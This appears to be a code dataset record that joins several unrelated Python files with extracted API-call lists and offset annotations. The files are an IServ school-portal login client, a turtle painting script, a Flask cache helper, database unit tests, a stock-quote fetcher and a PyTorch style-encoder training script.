OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE."""
import requests
from colorama import Fore, init
init()
class IServ():
def __init__(
self,
username: str,
password: str,
url: str
):
"""[summary]
Args:
username (str): IServ username
password (<PASSWORD>): <PASSWORD>
url (str): IServ server url (can be \"https://schoolsite.*/iserv/app/login\" or \"https://schoolsite.*/\")
"""
self.username = username
# Bad solution but it will work for now
self.url = url
if not "/serv/app/login" in self.url:
if "/iserv/app/login" in str(self.url):
self.url = url
else:
try:
if url[-1] == "/":
self.url += "iserv/app/login"
elif url[-1] != "/":
self.url += "/iserv/app/login"
except Exception as e:
print("Exception occured: "+str(e))
self.password = password
self.session = requests.Session()
def login(
self
):
"""[summary]
Returns:
True: If the request was successful
False: If the request was not successful
"""
try:
login_req = self.session.post(self.url, headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"}, data={"_username": self.username, "_password": self.password})
if "displayName" in login_req.text: return True
else: return False
except Exception as e:
print(
f"""{Fore.WHITE}[{Fore.RED}-{Fore.WHITE}]{Fore.RED} Error occured, is your url valid?\n{Fore.YELLOW}Exception trace: \n{str(e)}\nIServ URL: {str(self.url)}"""
) | [
"requests.Session",
"colorama.init"
] | [((1120, 1126), 'colorama.init', 'init', ([], {}), '()\n', (1124, 1126), False, 'from colorama import Fore, init\n'), ((2118, 2136), 'requests.Session', 'requests.Session', ([], {}), '()\n', (2134, 2136), False, 'import requests\n')] |
from turtle import Turtle, Screen
import colorgram
import random
color_list = []
def get_colors():
colors = colorgram.extract('image.jpg', 30)
for color in colors:
colour_tuple = (color.rgb.r, color.rgb.g, color.rgb.b)
color_list.append(colour_tuple)
def paint(my_turtle):
my_turtle.speed(0)
my_turtle.penup()
my_turtle.sety(-300)
my_turtle.pendown()
for i in range(0, 10):
my_turtle.penup()
my_turtle.setx(-300)
my_turtle.pendown()
for j in range(0, 10):
color = random.choice(color_list)
my_turtle.pen(pencolor='white', fillcolor=color)
my_turtle.begin_fill()
my_turtle.circle(radius=10)
my_turtle.end_fill()
my_turtle.penup()
my_turtle.setx(my_turtle.xcor() + 50)
my_turtle.pendown()
my_turtle.penup()
my_turtle.sety(my_turtle.ycor() + 50)
my_turtle.pendown()
my_turtle = Turtle()
my_turtle.shape('turtle')
screen = Screen()
get_colors()
screen.colormode(255)
paint(my_turtle)
screen.exitonclick()
| [
"turtle.Screen",
"random.choice",
"turtle.Turtle",
"colorgram.extract"
] | [((1015, 1023), 'turtle.Turtle', 'Turtle', ([], {}), '()\n', (1021, 1023), False, 'from turtle import Turtle, Screen\n'), ((1061, 1069), 'turtle.Screen', 'Screen', ([], {}), '()\n', (1067, 1069), False, 'from turtle import Turtle, Screen\n'), ((123, 157), 'colorgram.extract', 'colorgram.extract', (['"""image.jpg"""', '(30)'], {}), "('image.jpg', 30)\n", (140, 157), False, 'import colorgram\n'), ((581, 606), 'random.choice', 'random.choice', (['color_list'], {}), '(color_list)\n', (594, 606), False, 'import random\n')] |
# -*- coding: utf-8 -*-
import time
import functools
import logging
from flask_caching import Cache
from .lock import Lock
logger = logging.getLogger(__name__)
class GuldanCache(Cache):
def __init__(self, **kwargs):
super(GuldanCache, self).__init__(**kwargs)
def _make_cache_key(self, f, *args, **kwargs):
namespace = "{}:{}:v2".format(f.__module__, f.__name__)
def unicode_to_str(u):
if isinstance(u, unicode):
return u.encode("utf-8")
return str(u)
def pair_to_str(pair):
k, v = pair
return k, unicode_to_str(v)
args = tuple(map(unicode_to_str, args))
tuples = sorted(map(pair_to_str, kwargs.iteritems()))
return "{}|{}{}".format(namespace, args, tuples)
def memoize(self, timeout=None, make_name=None, unless=None,
forced_update=None):
def memoize(f):
def get_or_create(key, creator, expiration_time=None):
def get_value():
value, createdtime = self.cache.get(key)
if createdtime < 0:
return None
return value, createdtime
def generate_value():
created_value = creator()
cached_value = self.cache.set(key, created_value, expiration_time)
return created_value, time.time()
with Lock(
self.cache.mutex(key),
generate_value,
get_value,
expiration_time
) as value:
return value
def try_to_get_from_cache(*args, **kwargs):
#: bypass cache
if self._bypass_cache(unless, f, *args, **kwargs):
return f(*args, **kwargs)
cache_key = decorated_function.make_cache_key(
f, *args, **kwargs
)
@functools.wraps(f)
def call_func():
return f(*args, **kwargs)
if callable(forced_update) and forced_update() is True:
rv = None
else:
rv = get_or_create(cache_key, call_func, expiration_time=timeout)
if rv is None:
rv = f(*args, **kwargs)
self.cache.set(
cache_key, rv,
timeout=decorated_function.cache_timeout
)
return rv
@functools.wraps(f)
def decorated_function(*args, **kwargs):
try:
return try_to_get_from_cache(*args, **kwargs)
except:
logger.exception("error trying to get from cache")
return f(*args, **kwargs)
decorated_function.uncached = f
decorated_function.cache_timeout = timeout
decorated_function.make_cache_key = self._make_cache_key
decorated_function.delete_memoized = \
lambda: self.delete_memoized(f)
return decorated_function
return memoize
class ForcedUpdate(object):
def __init__(self):
self._forced_update = False
def __call__(self, *args, **kwargs):
return self._forced_update
def force_update(self):
self._forced_update = True
def reset(self):
self._forced_update = False
forced_update = ForcedUpdate()
| [
"logging.getLogger",
"time.time",
"functools.wraps"
] | [((133, 160), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (150, 160), False, 'import logging\n'), ((2596, 2614), 'functools.wraps', 'functools.wraps', (['f'], {}), '(f)\n', (2611, 2614), False, 'import functools\n'), ((2007, 2025), 'functools.wraps', 'functools.wraps', (['f'], {}), '(f)\n', (2022, 2025), False, 'import functools\n'), ((1419, 1430), 'time.time', 'time.time', ([], {}), '()\n', (1428, 1430), False, 'import time\n')] |
import unittest
from pydictdb import core
from pydictdb import storages
class DatabaseTestCase(unittest.TestCase):
def test_init_commit(self):
sto = storages.MemoryStorage()
sto._memory = {'User': {'name': 'Sam'}}
database = core.Database(storage=sto)
self.assertEqual(database._tables, sto._memory)
database._tables['User']['name'] = 'Tom'
self.assertNotEqual(database._tables, sto._memory)
database.commit()
self.assertEqual(database._tables, sto._memory)
def test_table(self):
database = core.Database()
kind = 'User'
table = database.table(kind)
self.assertEqual(table.kind, kind)
table.dictionary[0] = object()
self.assertEqual(table.dictionary[0], database._tables[kind][0])
class TableTestCase(unittest.TestCase):
def setUp(self):
self.kind = 'User'
self.table = core.Table(self.kind)
def tearDown(self):
self.table.dictionary = {}
def test_set_get_delete(self):
obj = {'name': 'Sam', 'groups': ['A', 'B']}
self.table._set_object(0, obj)
self.assertEqual(self.table.dictionary[0], obj)
self.assertEqual(self.table._get_object(0), obj)
obj['groups'].remove('A')
self.assertNotEqual(self.table.dictionary[0], obj)
self.assertNotEqual(self.table._get_object(0), obj)
obj = self.table._get_object(0)
obj['groups'].remove('A')
self.assertNotEqual(self.table.dictionary[0], obj)
self.assertNotEqual(self.table._get_object(0), obj)
self.table._delete_object(0)
self.assertFalse(0 in self.table.dictionary)
# delete a non-existed id without KeyError
self.table._delete_object(0)
def test_CRUD_methods(self):
obj = {'name': 'Sam', 'groups': ['A', 'B']}
object_id = self.table.insert(obj)
self.assertEqual(self.table.dictionary[object_id], obj)
self.assertEqual(self.table.get(object_id), obj)
obj = {'name': 'Sam', 'groups': []}
self.assertNotEqual(self.table.get(object_id), obj)
self.table.update(object_id, obj)
self.assertEqual(self.table.get(object_id), obj)
self.table.delete(object_id)
self.assertFalse(object_id in self.table.dictionary)
self.assertIsNone(self.table.get(object_id))
with self.assertRaises(KeyError):
self.table.update(object_id, obj)
with self.assertRaises(KeyError):
self.table.delete(object_id)
self.table.update_or_insert(0, obj)
self.assertEqual(self.table.get(0), obj)
def test_CRUD_multi_methods(self):
objects = [
{'name': 'Sam'},
{'name': 'Tom'},
{'name': 'John'},
]
object_ids = self.table.insert_multi(objects)
self.assertEqual(objects,
[self.table.dictionary[object_id] for object_id in object_ids])
self.assertEqual(objects, self.table.get_multi(object_ids))
objects = [
{'name': 'Sam', 'score': 99},
{'name': 'Tom', 'score': 98},
{'name': 'John', 'score': 97},
]
self.table.update_multi(object_ids, objects)
self.assertEqual(objects, self.table.get_multi(object_ids))
self.table.update_or_insert_multi([0, 1, 2], objects)
self.assertEqual(objects, self.table.get_multi([0, 1, 2]))
self.table.delete_multi(object_ids)
for object_id in object_ids:
self.assertFalse(object_id in self.table.dictionary)
def test_query(self):
self.table.insert({'name': 'Sam'})
query = self.table.query()
self.assertIsInstance(query, core.Query)
self.assertEqual(query.dictionary, self.table.dictionary)
class QueryTestCase(unittest.TestCase):
def test_fetch(self):
import logging
kind = 'User'
table = core.Table(kind)
objects = [
{'name': 'Sam', 'score': 50},
{'name': 'Tom', 'score': 60},
{'name': 'John', 'score': 70},
]
object_ids = table.insert_multi(objects)
query = table.query()
self.assertEqual(query.fetch(), objects)
self.assertEqual(query.fetch(ids_only=True), object_ids)
query = table.query(lambda obj: obj['score'] >= 60)
self.assertEqual(query.fetch(), objects[1:])
def test_func(obj):
obj['score'] /= 10
return obj['score'] >= 6
# edit attribute in function, but remain unchanged in dictionary
query = table.query(test_func)
self.assertEqual(query.fetch(),
[{'name': 'Tom', 'score': 6.0}, {'name': 'John', 'score': 7.0}])
self.assertEqual(table.get_multi(object_ids), objects)
| [
"pydictdb.core.Database",
"pydictdb.core.Table",
"pydictdb.storages.MemoryStorage"
] | [((164, 188), 'pydictdb.storages.MemoryStorage', 'storages.MemoryStorage', ([], {}), '()\n', (186, 188), False, 'from pydictdb import storages\n'), ((256, 282), 'pydictdb.core.Database', 'core.Database', ([], {'storage': 'sto'}), '(storage=sto)\n', (269, 282), False, 'from pydictdb import core\n'), ((577, 592), 'pydictdb.core.Database', 'core.Database', ([], {}), '()\n', (590, 592), False, 'from pydictdb import core\n'), ((919, 940), 'pydictdb.core.Table', 'core.Table', (['self.kind'], {}), '(self.kind)\n', (929, 940), False, 'from pydictdb import core\n'), ((3941, 3957), 'pydictdb.core.Table', 'core.Table', (['kind'], {}), '(kind)\n', (3951, 3957), False, 'from pydictdb import core\n')] |
from googlefinance import getQuotes
from yahoo_finance import Share
from dateutil.parser import parse
import datetime
import csv
import os
import logging
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
MONGO_DB = 'tomastocks'
GOOGLE_TYPE = 'goog'
GOOGLE_FINAL_PRICE_FIELD = 'LastTradePrice'
GOOGLE_DATE_FIELD = 'LastTradeDateTime'
GOOGLE_DIVIDEND_FIELD = 'Dividend'
GOOGLE_YIELD_FIELD = 'Yield'
GOOGLE_ID_FIELD = 'ID'
YAHOO_TYPE = 'yhoo'
YAHOO_FINAL_PRICE_FILED = 'Close'
YAHOO_OPEN_FIELD = 'Open'
YAHOO_HIGH_FIELD = 'High'
YAHOO_LOW_FIELD = 'Low'
YAHOO_VOLUME_FIELD = 'Volume'
YAHOO_DATE_FIELD = 'Date'
YAHOO_ADJ_CLOSE_FIELD = 'Adj_Close'
ONE_MINUTE = 1
ONE_DAY = 1440
ONE_YEAR = 365
DATE_FORMAT = "%Y-%m-%d"
def str2date(date):
try:
if isinstance(date, datetime.datetime):
return date
elif isinstance(date, str) or isinstance(date, unicode):
return parse(date)
elif isinstance(date, int) or isinstance(date, long):
return datetime.datetime.fromtimestamp(date)
else:
logger.error('Date is not in parseable format')
raise Exception("Date is not in a parseable format: %s", date)
except:
logger.error('Error parsing date: %s', date)
raise Exception("Issue parsing date: %s", date)
def date2str(date, _format=DATE_FORMAT):
if isinstance(date, datetime.datetime):
return date.strftime(_format)
elif isinstance(date, str) or isinstance(date, unicode):
return date2str(str2date(date))
else:
raise Exception("Date is not a datetime object")
class Stock:
'''
class for a stock that will hold information about the stock price
will also handle pulling data from ticker api and maintaining info
in db to avoid network calls
'''
SBL = None # symbol
GOBJ = None # google stock object
YOBJ = None # yahoo stock object
def __init__(self, symbol):
self.logger = logging.getLogger(Stock.__name__)
self.SBL = symbol
def fetch(self):
self.logger.info('fetch starting: %s', self.SBL)
'''
find the most recent price of the symbol
'''
try:
x = getQuotes(self.SBL)[0]
# 1 = 1 min interval, This is a fetch of the current price. Not sure how often can hit api
# so going to fetch every miniute
self.GOBJ = Tick(ONE_MINUTE, self.SBL, x[GOOGLE_FINAL_PRICE_FIELD], x[GOOGLE_DATE_FIELD], dividend=x[GOOGLE_DIVIDEND_FIELD],
_id=x[GOOGLE_ID_FIELD], _yield=x[GOOGLE_YIELD_FIELD], _type=GOOGLE_TYPE)
except:
self.GOBJ = None
self.logger.warn('issue fetching for: %s', self.SBL)
self.logger.info('fetch complete: %s', self.GOBJ)
return self.GOBJ
def fetch_history(self, start=None, end=None):
self.logger.info('fetching history start: %s', self.SBL)
'''
find historical price of the symbol between
start and end date. default is past two weeks
# start and end can be a datetime or a string
'''
start, end = self._get_fetch_range(start, end)
yahoo = self._get_yahoo_obj()
try:
history = []
for x in yahoo.get_historical(start, end):
# 1440 = 1 day interval
x = Tick(ONE_DAY, self.SBL, x[YAHOO_FINAL_PRICE_FILED], x[YAHOO_DATE_FIELD], _open=x[YAHOO_OPEN_FIELD], high=x[YAHOO_HIGH_FIELD], low=x[YAHOO_LOW_FIELD], volume=x[YAHOO_VOLUME_FIELD], adj_close=x[YAHOO_ADJ_CLOSE_FIELD], _type=YAHOO_TYPE)
history.append(x)
except:
self.logger.warn('issue fetching history for: %s', self.SBL)
history = []
self.logger.info('fetching history complete: %s retrieved rows', len(history))
return history
def range2csv(self, start=None, end=None):
self.logger.info('start range to csv')
'''
put range of data in csv format for backtrader
'''
start,end = self._get_fetch_range(start, end)
file_name = self._gen_file_name(start, end)
if not os.path.isfile(file_name):
self.logger.info('creating csv file')
with open(file_name, 'w') as f:
writer = csv.writer(f)
data = self.fetch_history()
data.reverse()
writer.writerow(data[0].to_csv(header=True))
for d in data:
writer.writerow(d.to_csv())
else:
self.logger.info('file created already')
self.logger.info('done with range to csv: %s', file_name)
return file_name
def _get_fetch_range(self, start, end):
if not end:
end = datetime.datetime.now()
else:
end = str2date(end)
if not start:
start = end - datetime.timedelta(days=ONE_YEAR)
start = str2date(start)
start = start.strftime(DATE_FORMAT)
end = end.strftime(DATE_FORMAT)
return start, end
def _gen_file_name(self, start, end, postfix='txt'):
_dir = 'data/%s' % (self.SBL)
try:
os.stat(_dir)
except:
os.mkdir(_dir)
return '%s/%s_%s_to_%s.%s' % (_dir, self.SBL, start, end, postfix)
def _get_yahoo_obj(self):
'''
helper class to get yahoo quote for stock symbol
(yahoo has more functionality then google)
'''
if not self.YOBJ:
self.logger.info('getting yahoo stock object')
try:
self.YOBJ = Share(self.SBL)
except:
self.logger.error('issue getting yahoo stock object for: %s', self.SBL)
raise Exception('No yahoo stock quote for: %s', self.SBL)
return self.YOBJ
class MongoStock(Stock):
'''
takes the fun of the Stock class
and handles the logic for adding new data to mongo
while checking to see if it exists locally
'''
DB = None
def __init__(self, *args, **kwargs):
Stock.__init__(self, *args, **kwargs)
if 'db' in kwargs:
self.DB = kwargs['db']
else:
self.DB = MONGO_DB
def add_stock(self, doc):
'''
put stock ticker in mongo
'''
pass
def add_stocks(self, docs):
for i in docs:
self.add_stocks(i)
def is_data(self, start, end):
'''
checks if there is ticker data in mongo for given range
return FULL COVERAGE | RANGE TO QUERY FOR | NONE
'''
pass
class Tick:
'''
class for a stocks tick event
can be at various intervals
'''
INTERVAL = None
FINAL_PRICE = None
SYMBOL = None
DATE = None
TYPE = None
OPEN = None # yahoo specific
HIGH = None # yahoo specific
LOW = None # yahoo specific
VOLUME = None # yahoo specific
ADJ_CLOSE = None # yahoo specific
DIVIDEND = None # google finance specific
YIELD = None # google finance specific
ID = None # google finance specific
def __init__(self, interval, symbol, close, date, _open=None, high=None, low=None, volume=None, adj_close=None, dividend=None, _yield=None, _id=None, _type=None):
self.INTERVAL, self.SYMBOL, self.OPEN, self.CLOSE, self.HIGH, self.LOW, self.DATE, self.VOLUME, self.ADJ_CLOSE, self.DIVIDEND, self.YIELD, self.ID, self.TYPE = interval, symbol, _open, close, high, low, date, volume, adj_close, dividend, _yield, _id, _type
self.DATE = str2date(self.DATE)
def to_dict(self):
return {
'interval': self.INTERVAL,
'symbol': self.SYMBOL,
'open': self.OPEN,
'close': self.CLOSE,
'high': self.HIGH,
'low': self.LOW,
'date': self.DATE,
'volume': self.VOLUME,
'adj_close': self.ADJ_CLOSE,
'dividend': self.DIVIDEND,
'yield': self.YIELD,
'id': self.ID,
'type': self.TYPE,
}
def to_csv(self, header=False):
if header:
return ['Date', 'Open', 'High', 'Low', 'Close', 'Volume', 'Adj Close']
return [date2str(self.DATE), self.OPEN, self.HIGH, self.LOW, self.CLOSE, self.VOLUME, self.ADJ_CLOSE]
def __str__(self):
return '%s' % (self.to_dict())
Stock.__name__ = 'Stock'
MongoStock.__name__ = 'MongoStock'
Tick.__name__ = 'Tick'
if __name__ == "__main__":
s = MongoStock('UWTI')
#s.fetch()
#s.fetch_history()
s.range2csv()
| [
"logging.basicConfig",
"logging.getLogger",
"dateutil.parser.parse",
"datetime.datetime.fromtimestamp",
"googlefinance.getQuotes",
"csv.writer",
"os.path.isfile",
"datetime.datetime.now",
"os.mkdir",
"os.stat",
"datetime.timedelta",
"yahoo_finance.Share"
] | [((160, 199), 'logging.basicConfig', 'logging.basicConfig', ([], {'level': 'logging.INFO'}), '(level=logging.INFO)\n', (179, 199), False, 'import logging\n'), ((209, 236), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (226, 236), False, 'import logging\n'), ((1848, 1881), 'logging.getLogger', 'logging.getLogger', (['Stock.__name__'], {}), '(Stock.__name__)\n', (1865, 1881), False, 'import logging\n'), ((3730, 3755), 'os.path.isfile', 'os.path.isfile', (['file_name'], {}), '(file_name)\n', (3744, 3755), False, 'import os\n'), ((4213, 4236), 'datetime.datetime.now', 'datetime.datetime.now', ([], {}), '()\n', (4234, 4236), False, 'import datetime\n'), ((4558, 4571), 'os.stat', 'os.stat', (['_dir'], {}), '(_dir)\n', (4565, 4571), False, 'import os\n'), ((904, 915), 'dateutil.parser.parse', 'parse', (['date'], {}), '(date)\n', (909, 915), False, 'from dateutil.parser import parse\n'), ((2045, 2064), 'googlefinance.getQuotes', 'getQuotes', (['self.SBL'], {}), '(self.SBL)\n', (2054, 2064), False, 'from googlefinance import getQuotes\n'), ((3846, 3859), 'csv.writer', 'csv.writer', (['f'], {}), '(f)\n', (3856, 3859), False, 'import csv\n'), ((4302, 4335), 'datetime.timedelta', 'datetime.timedelta', ([], {'days': 'ONE_YEAR'}), '(days=ONE_YEAR)\n', (4320, 4335), False, 'import datetime\n'), ((4588, 4602), 'os.mkdir', 'os.mkdir', (['_dir'], {}), '(_dir)\n', (4596, 4602), False, 'import os\n'), ((4909, 4924), 'yahoo_finance.Share', 'Share', (['self.SBL'], {}), '(self.SBL)\n', (4914, 4924), False, 'from yahoo_finance import Share\n'), ((982, 1019), 'datetime.datetime.fromtimestamp', 'datetime.datetime.fromtimestamp', (['date'], {}), '(date)\n', (1013, 1019), False, 'import datetime\n')] |
from datetime import datetime
import os
from os.path import join
import pandas as pd
from pathlib import Path
import pickle
import spacy
import sys
import torch
from torch import optim
from torch.nn import Embedding, LSTM
from torch.nn.functional import mse_loss
from torch.utils.data import TensorDataset
from torch.utils.tensorboard import SummaryWriter
from tqdm import tqdm
project_root = Path('..')
sys.path.append(os.path.abspath(project_root))
from notebooks.utils import init_data_dir # noqa
from notebooks import pipes # noqa
from notebooks.datatools import AuthorDataset, EqualOpDataLoader # noqa
from notebooks.nets import EuclideanDiscriminator, PackedEmbedder, StyleEncoder, Seq2Vec # noqa
from notebooks.utils import POSVocab # noqa
init_data_dir(project_root)
preprocess_path = join(project_root, Path('data/preprocess'))
dev = torch.device(0)
nlp = spacy.load('en_core_web_sm')
pos_vocab = POSVocab()
writer_dir = join(project_root, 'runs')
writer = SummaryWriter(join(writer_dir, f'{datetime.now()}-bawe-par-encoder'))
reprocess = False
train_data_path = join(preprocess_path, 'bawe_train_sentences_tokenized.hdf5')
valid_data_path = join(preprocess_path, 'bawe_valid_sentences_tokenized.hdf5')
train_data_exists = os.path.exists(train_data_path)
valid_data_exists = os.path.exists(valid_data_path)
pipeline = pipes.POSTokenize(nlp=nlp, pos_vocab=pos_vocab, show_loading=True)
if not (train_data_exists and valid_data_exists) or reprocess:
print('Processing...', flush=True)
train_df = pd.read_hdf(join(preprocess_path, 'bawe_train_sentences.hdf5'))
valid_df = pd.read_hdf(join(preprocess_path, 'bawe_valid_sentences.hdf5'))
train_data = pipeline(train_df)
valid_data = pipeline(valid_df)
train_data.to_hdf(train_data_path, 'bawe_train_sentences_tokenized')
valid_data.to_hdf(valid_data_path, 'bawe_valid_sentences_tokenized')
else:
train_data = pd.read_hdf(train_data_path)
valid_data = pd.read_hdf(valid_data_path)
train_data.loc[(28, 0, 1)]
num_sentences = 20
pipeline = pipes.GroupSentences(n=num_sentences)
train_data = pipeline(train_data)
valid_data = pipeline(valid_data)
train_set = AuthorDataset(train_data)
valid_set = AuthorDataset(valid_data)
embedder = PackedEmbedder(Embedding(len(pos_vocab), 10,
padding_idx=pos_vocab['<pad>']))
sentence_encoder = Seq2Vec(LSTM(10, 5))
style_encoder = StyleEncoder(embedder, sentence_encoder).to(dev)
style_discriminator = EuclideanDiscriminator(n=num_sentences).to(dev)
torch.seed()
# Hyperparameters
batch_count = 1000
lr = 1e-6
opt = optim.SGD([{'params': style_discriminator.parameters()},
{'params': style_encoder.parameters()}], lr=lr)
criterion = mse_loss
bs = 75
pipeline = pipes.PackSequence(dev=dev)
train_dl = EqualOpDataLoader(train_set, bs=bs, pipeline=pipeline)
valid_dl = EqualOpDataLoader(valid_set, bs=bs, pipeline=pipeline)
def fit(validate=True, validate_every=100):
train_dl.batch_count = batch_count
for index, ((x1b, y1b), (x2b, y2b)) in tqdm(enumerate(train_dl),
total=len(train_dl)):
x1_encoding = style_encoder(x1b)
x2_encoding = style_encoder(x2b)
pred = style_discriminator(x1_encoding, x2_encoding).squeeze(1)
yb = y_difference(y1b, y2b).to(dtype=torch.float)
loss = criterion(pred, yb)
loss.backward()
opt.step()
opt.zero_grad()
writer.add_scalar('Training Loss', loss, index)
writer.flush()
if validate:
if index % 100 == 0:
valid_loss, valid_acc = evaluate(valid_dl, give_acc=True)
writer.add_scalar('Validation Loss', valid_loss, index)
writer.add_scalar('Validation Accuracy', valid_acc, index)
writer.flush()
def y_difference(y1, y2):
return torch.logical_not((y1 == y2)).to(dtype=int).to(dev)
def evaluate(dl, give_acc=False):
with torch.no_grad():
preds_y = [(style_discriminator(style_encoder(x1b),
style_encoder(x2b)),
y_difference(y1b, y2b))
for (x1b, y1b), (x2b, y2b) in dl]
losses = [criterion(preds_b.squeeze(1), yb) for preds_b, yb in preds_y]
loss = sum(losses) / len(losses)
if give_acc:
accs = [accuracy(preds_b, yb) for preds_b, yb in preds_y]
acc = sum(accs) / len(accs)
return loss, acc
return loss
def accuracy(out, y):
preds = out > 0.5
return (preds == y).float().mean()
fit(validate=False)
outputs_dir = join(project_root, 'outputs')
if not os.path.isdir(outputs_dir):
os.mkdir(outputs_dir)
torch.save(style_encoder.state_dict(),
join(outputs_dir, 'bawe_style_encoder_sd.pt'))
torch.save(style_discriminator.state_dict(),
join(outputs_dir, 'bawe_style_discriminator_sd.pt'))
writer.close()
| [
"notebooks.datatools.EqualOpDataLoader",
"notebooks.nets.EuclideanDiscriminator",
"notebooks.datatools.AuthorDataset",
"torch.seed",
"notebooks.pipes.PackSequence",
"notebooks.pipes.POSTokenize",
"os.path.exists",
"pathlib.Path",
"spacy.load",
"torch.nn.LSTM",
"torch.logical_not",
"os.path.isd... | [((394, 404), 'pathlib.Path', 'Path', (['""".."""'], {}), "('..')\n", (398, 404), False, 'from pathlib import Path\n'), ((755, 782), 'notebooks.utils.init_data_dir', 'init_data_dir', (['project_root'], {}), '(project_root)\n', (768, 782), False, 'from notebooks.utils import init_data_dir\n'), ((853, 868), 'torch.device', 'torch.device', (['(0)'], {}), '(0)\n', (865, 868), False, 'import torch\n'), ((875, 903), 'spacy.load', 'spacy.load', (['"""en_core_web_sm"""'], {}), "('en_core_web_sm')\n", (885, 903), False, 'import spacy\n'), ((916, 926), 'notebooks.utils.POSVocab', 'POSVocab', ([], {}), '()\n', (924, 926), False, 'from notebooks.utils import POSVocab\n'), ((941, 967), 'os.path.join', 'join', (['project_root', '"""runs"""'], {}), "(project_root, 'runs')\n", (945, 967), False, 'from os.path import join\n'), ((1086, 1146), 'os.path.join', 'join', (['preprocess_path', '"""bawe_train_sentences_tokenized.hdf5"""'], {}), "(preprocess_path, 'bawe_train_sentences_tokenized.hdf5')\n", (1090, 1146), False, 'from os.path import join\n'), ((1165, 1225), 'os.path.join', 'join', (['preprocess_path', '"""bawe_valid_sentences_tokenized.hdf5"""'], {}), "(preprocess_path, 'bawe_valid_sentences_tokenized.hdf5')\n", (1169, 1225), False, 'from os.path import join\n'), ((1247, 1278), 'os.path.exists', 'os.path.exists', (['train_data_path'], {}), '(train_data_path)\n', (1261, 1278), False, 'import os\n'), ((1299, 1330), 'os.path.exists', 'os.path.exists', (['valid_data_path'], {}), '(valid_data_path)\n', (1313, 1330), False, 'import os\n'), ((1343, 1409), 'notebooks.pipes.POSTokenize', 'pipes.POSTokenize', ([], {'nlp': 'nlp', 'pos_vocab': 'pos_vocab', 'show_loading': '(True)'}), '(nlp=nlp, pos_vocab=pos_vocab, show_loading=True)\n', (1360, 1409), False, 'from notebooks import pipes\n'), ((2050, 2087), 'notebooks.pipes.GroupSentences', 'pipes.GroupSentences', ([], {'n': 'num_sentences'}), '(n=num_sentences)\n', (2070, 2087), False, 'from notebooks import pipes\n'), ((2170, 2195), 'notebooks.datatools.AuthorDataset', 'AuthorDataset', (['train_data'], {}), '(train_data)\n', (2183, 2195), False, 'from notebooks.datatools import AuthorDataset, EqualOpDataLoader\n'), ((2208, 2233), 'notebooks.datatools.AuthorDataset', 'AuthorDataset', (['valid_data'], {}), '(valid_data)\n', (2221, 2233), False, 'from notebooks.datatools import AuthorDataset, EqualOpDataLoader\n'), ((2537, 2549), 'torch.seed', 'torch.seed', ([], {}), '()\n', (2547, 2549), False, 'import torch\n'), ((2767, 2794), 'notebooks.pipes.PackSequence', 'pipes.PackSequence', ([], {'dev': 'dev'}), '(dev=dev)\n', (2785, 2794), False, 'from notebooks import pipes\n'), ((2806, 2860), 'notebooks.datatools.EqualOpDataLoader', 'EqualOpDataLoader', (['train_set'], {'bs': 'bs', 'pipeline': 'pipeline'}), '(train_set, bs=bs, pipeline=pipeline)\n', (2823, 2860), False, 'from notebooks.datatools import AuthorDataset, EqualOpDataLoader\n'), ((2872, 2926), 'notebooks.datatools.EqualOpDataLoader', 'EqualOpDataLoader', (['valid_set'], {'bs': 'bs', 'pipeline': 'pipeline'}), '(valid_set, bs=bs, pipeline=pipeline)\n', (2889, 2926), False, 'from notebooks.datatools import AuthorDataset, EqualOpDataLoader\n'), ((4654, 4683), 'os.path.join', 'join', (['project_root', '"""outputs"""'], {}), "(project_root, 'outputs')\n", (4658, 4683), False, 'from os.path import join\n'), ((421, 450), 'os.path.abspath', 'os.path.abspath', (['project_root'], {}), '(project_root)\n', (436, 450), False, 'import os\n'), ((821, 844), 'pathlib.Path', 'Path', (['"""data/preprocess"""'], {}), "('data/preprocess')\n", (825, 844), False, 'from pathlib import Path\n'), ((1915, 1943), 'pandas.read_hdf', 'pd.read_hdf', (['train_data_path'], {}), '(train_data_path)\n', (1926, 1943), True, 'import pandas as pd\n'), ((1961, 1989), 'pandas.read_hdf', 'pd.read_hdf', (['valid_data_path'], {}), '(valid_data_path)\n', (1972, 1989), True, 'import pandas as pd\n'), ((2387, 2398), 'torch.nn.LSTM', 'LSTM', (['(10)', '(5)'], {}), '(10, 5)\n', (2391, 2398), False, 'from torch.nn import Embedding, LSTM\n'), ((4691, 4717), 'os.path.isdir', 'os.path.isdir', (['outputs_dir'], {}), '(outputs_dir)\n', (4704, 4717), False, 'import os\n'), ((4723, 4744), 'os.mkdir', 'os.mkdir', (['outputs_dir'], {}), '(outputs_dir)\n', (4731, 4744), False, 'import os\n'), ((4796, 4841), 'os.path.join', 'join', (['outputs_dir', '"""bawe_style_encoder_sd.pt"""'], {}), "(outputs_dir, 'bawe_style_encoder_sd.pt')\n", (4800, 4841), False, 'from os.path import join\n'), ((4899, 4950), 'os.path.join', 'join', (['outputs_dir', '"""bawe_style_discriminator_sd.pt"""'], {}), "(outputs_dir, 'bawe_style_discriminator_sd.pt')\n", (4903, 4950), False, 'from os.path import join\n'), ((1541, 1591), 'os.path.join', 'join', (['preprocess_path', '"""bawe_train_sentences.hdf5"""'], {}), "(preprocess_path, 'bawe_train_sentences.hdf5')\n", (1545, 1591), False, 'from os.path import join\n'), ((1620, 1670), 'os.path.join', 'join', (['preprocess_path', '"""bawe_valid_sentences.hdf5"""'], {}), "(preprocess_path, 'bawe_valid_sentences.hdf5')\n", (1624, 1670), False, 'from os.path import join\n'), ((2417, 2457), 'notebooks.nets.StyleEncoder', 'StyleEncoder', (['embedder', 'sentence_encoder'], {}), '(embedder, sentence_encoder)\n', (2429, 2457), False, 'from notebooks.nets import EuclideanDiscriminator, PackedEmbedder, StyleEncoder, Seq2Vec\n'), ((2488, 2527), 'notebooks.nets.EuclideanDiscriminator', 'EuclideanDiscriminator', ([], {'n': 'num_sentences'}), '(n=num_sentences)\n', (2510, 2527), False, 'from notebooks.nets import EuclideanDiscriminator, PackedEmbedder, StyleEncoder, Seq2Vec\n'), ((3993, 4008), 'torch.no_grad', 'torch.no_grad', ([], {}), '()\n', (4006, 4008), False, 'import torch\n'), ((1012, 1026), 'datetime.datetime.now', 'datetime.now', ([], {}), '()\n', (1024, 1026), 